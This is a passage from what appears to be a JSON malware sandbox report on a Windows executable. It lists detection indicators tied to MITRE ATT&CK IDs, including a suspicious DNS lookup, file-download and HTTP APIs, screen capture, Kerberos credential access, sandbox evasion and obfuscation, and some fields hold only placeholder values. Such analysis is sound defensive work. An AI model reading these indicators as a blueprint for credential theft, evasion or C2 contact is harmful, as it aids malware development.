Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\" has an executable section named \".text\"\n \"DISMHOST.EXE.6A9E4442.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\" has an writable section named \".data\"\n \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\" has an writable section named \".bss\"\n \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\" has an writable section named \".idata\"\n \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\" has an writable section named \".CRT\"\n \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\" has an writable section named \".tls\"\n \"DISMHOST.EXE.6A9E4442.bin\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$32","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x482a00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x482944\" greater than 0x100000\n Virtual size of \".bss\" is \"0x66e254\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"fivevf5vs.top\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"DISMHOST.EXE.6A9E4442.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"dism.log\" has type \"Unicode text UTF-8 (with BOM) text with very long lines (312) with CRLF line terminators\"- [targetUID: 00000000-00005700]\n \"DISMHOST.EXE.6A9E4442.bin\" has type \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections\"- [targetUID: 00000000-00005700]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$33","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment using user register activity\n Matched sigs: Able to identify virtual environment by using web history\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$35","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$36","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$37","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownloadToFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownload\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"URLDownloadToFileW\" (Indicator: \"URLDownloadToFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"URLDownloadToFileW\" (Indicator: \"URLDownload\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"InternetReadFileExA\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"InternetReadFileExW\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"InternetOpenUrlW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.0.2\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$3b","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE00301D81CF2A4562A66F7C4BD848]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003468.00000000.81496.00300000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE4C0BE4AEE4FE489CB5FB8D41C16E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003468.00000000.81496.00300000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"CreateDCA\" (Indicator: \"CreateDC\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"CreateDCW\" (Indicator: \"CreateDC\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserNameA\" (Indicator: \"GetUserName\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetModuleFileNameExA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"p_DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$41","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$42","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"DISMHOST.EXE.6A9E4442.bin\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"File exhibits characteristics of junk code obfuscation","description":"File has excessive sections (18)\n common in obfuscated files\n Section \".bss\" unusually large (6742612 bytes)\n possible junk padding\n Section \".edata\" has very low entropy (0.73)\n indicating potential NOP sled","origin":"Static Parser","mitre_attack_id":"T1027.016","relevance":3,"id":"static-9001","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \":\\Windows\\system32\\dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00003468.00000000.81496.00300000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleA@KERNEL32.dll at 